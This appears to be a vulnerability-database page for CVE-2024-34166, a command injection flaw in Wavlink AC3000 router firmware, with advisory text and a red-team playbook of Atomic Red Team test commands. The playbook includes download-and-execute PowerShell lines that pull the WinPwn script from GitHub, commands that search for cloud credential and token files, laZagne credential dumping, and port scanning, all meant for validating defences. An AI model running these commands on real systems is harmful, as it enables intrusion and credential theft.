CVE-2024-34166
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the touchlist_sync.cgi script of the Wavlink AC3000 firmware version M33A8.V5030.210505. Specifically, the touchlistsync() function fails to sanitize user-supplied parameters in HTTP requests, allowing shell commands to be injected and executed on the device. The affected component is the web management interface handling synchronization of touch lists.
Vulnerability Description
An os command injection vulnerability exists in the touchlist_sync.cgi touchlistsync() functionality of Wavlink AC3000 M33A8.V5030.210505. A specially crafted set of HTTP requests can lead to arbitrary code execution. An attacker can send an HTTP request to trigger this vulnerability.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the affected Wavlink AC3000 device by exploiting this vulnerability over the network. This can lead to full compromise of the device, including unauthorized control, data manipulation, or disruption of network services. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms no privileges or user interaction are required, making exploitation straightforward and highly impactful in operational environments.
Solution
Wavlink has released firmware updates addressing this issue in version M33A8.V5030.210505 and later; users should upgrade to the latest firmware as detailed in the Talos advisory (https://talosintelligence.com/vulnerability_reports/TALOS-2024-2000). The advisory provides specific instructions for applying the patch to the AC3000 model. No alternative workarounds are documented, so prompt firmware update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the touchlist_sync.cgi functionality of the Wavlink AC3000 M33A8 router presents a critical risk due to its nature as an OS command injection flaw. This type of vulnerability allows an attacker to execute arbitrary commands on the underlying operating system by crafting specific HTTP requests. The flaw arises from insufficient input validation, which fails to sanitize user-supplied data before it is processed by the system. As a result, an attacker can manipulate the input to execute commands that the device was not intended to run, potentially leading to a complete compromise of the affected system.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the sending of specially crafted HTTP requests to the router. An attacker could leverage this flaw by embedding malicious commands within the request parameters, which the device would then execute with the same privileges as the web server. This scenario could be executed remotely, allowing an attacker to bypass traditional security measures such as firewalls and intrusion detection systems. Furthermore, if the device is part of a larger network, the attacker could gain access to sensitive data or pivot to other systems within the network, significantly amplifying the impact of the attack.
The real-world implications of this vulnerability are substantial, especially for organizations that rely on Wavlink devices for their networking infrastructure. Given the high CVSS score of 9.8, the risk associated with this flaw is categorized as critical. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and potential damage to the organization’s reputation. In environments where these devices are used to manage critical operations or sensitive data, the consequences could be severe, including financial loss, regulatory penalties, and loss of customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating device firmware is essential, as manufacturers often release patches to address known vulnerabilities. Additionally, network segmentation can help limit the exposure of vulnerable devices to the internet, reducing the attack surface. Employing intrusion detection systems that can identify unusual patterns of HTTP requests may also aid in early detection of exploitation attempts. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the OS command injection vulnerability in the Wavlink AC3000 M33A8 router represents a significant threat to cybersecurity. Its potential for arbitrary code execution poses a serious risk to both individual devices and the broader network infrastructure. Organizations must prioritize the identification and remediation of such vulnerabilities through proactive measures, including timely updates, network segmentation, and continuous monitoring. By adopting a comprehensive security strategy, organizations can mitigate the risks associated with this and similar vulnerabilities, thereby safeguarding their assets and maintaining operational integrity.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wavlink | Wl-Wn533a8 Firmware | m33a8.v5030.210505 |
cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.210505:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-34166 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2024-2000 |
| talosintelligence.com |
NVD API
Exploit
Third Party Advisory
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-2000 |